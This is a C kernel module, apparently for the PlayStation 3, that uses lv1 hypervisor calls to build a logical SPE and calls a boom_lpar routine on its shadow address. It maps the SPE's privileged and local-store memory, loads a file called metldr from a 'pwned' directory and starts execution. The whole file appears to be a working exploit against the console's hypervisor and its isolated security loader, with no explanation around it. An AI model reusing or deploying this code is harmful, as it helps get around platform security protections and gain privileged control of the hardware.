1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

volatile int init_module() {
  unsigned long priv2_addr, problem_phys, local_store_phys, context_addr, shadow_addr, spe_id, vas;

  lv1_get_virtual_address_space_id_of_ppe(0, &vas);

  printk(KERN_ERR "die kernel %d\n", lv1_destruct_logical_spe(0xb));

  printk(KERN_ERR "construct SPE: %d\n", lv1_construct_logical_spe(0x10,0x10,0x10,0x10,0x10, vas, 0, &priv2_addr, &problem_phys, &local_store_phys, &context_addr, &shadow_addr, &spe_id));
  boom_lpar(shadow_addr);
  printk(KERN_ERR "make SPE id: %d\n", spe_id);
  printk(KERN_ERR "enable SPE: %d\n", lv1_enable_logical_spe(spe_id, 0));


  unsigned long *problem_mapped, *privileged_mapped, *local_mapped;

  problem_mapped =__ioremap((unsigned long)problem_phys, 0x20000, PAGE_SHARED_X);
  privileged_mapped =__ioremap((unsigned long)priv2_addr, 0x20000, PAGE_SHARED_X);
  local_mapped =__ioremap((unsigned long)local_store_phys, 0x40000, PAGE_SHARED_X);

  printk(KERN_ERR "status: %lx\n", problem_mapped[0x4020/8]);
  printk(KERN_ERR "privileged control: %lx\n", privileged_mapped[0x4040/8]);
  privileged_mapped[0x4040/8] |= 4;
  printk(KERN_ERR "privileged control: %lx\n", privileged_mapped[0x4040/8]);

  struct file* fd;
  mm_segment_t old_fs = get_fs();
  set_fs(KERNEL_DS);
  fd = filp_open("/work/pwned/metldr", O_RDONLY, 0);
  if(!IS_ERR(fd)) {
    printk(KERN_ERR "file is open\n");
    printk(KERN_ERR "read %d\n", fd->f_op->read(fd, local_mapped, 0x40000, &fd->f_pos));
    filp_close(fd, NULL);
  } else {
    printk(KERN_ERR "file open failed!!!!\n");
  }
  set_fs(old_fs);
  printk(KERN_ERR "read in metldr\n");

  problem_mapped[0x4018/8] |= 3;

  int i;
  for(i=0;i<0x20;i++) {
    printk(KERN_ERR "status: %lx\n", problem_mapped[0x4020/8]);
  }
  printk(KERN_ERR "destruct SPE: %d\n", lv1_destruct_logical_spe(spe_id));

  return 0;
}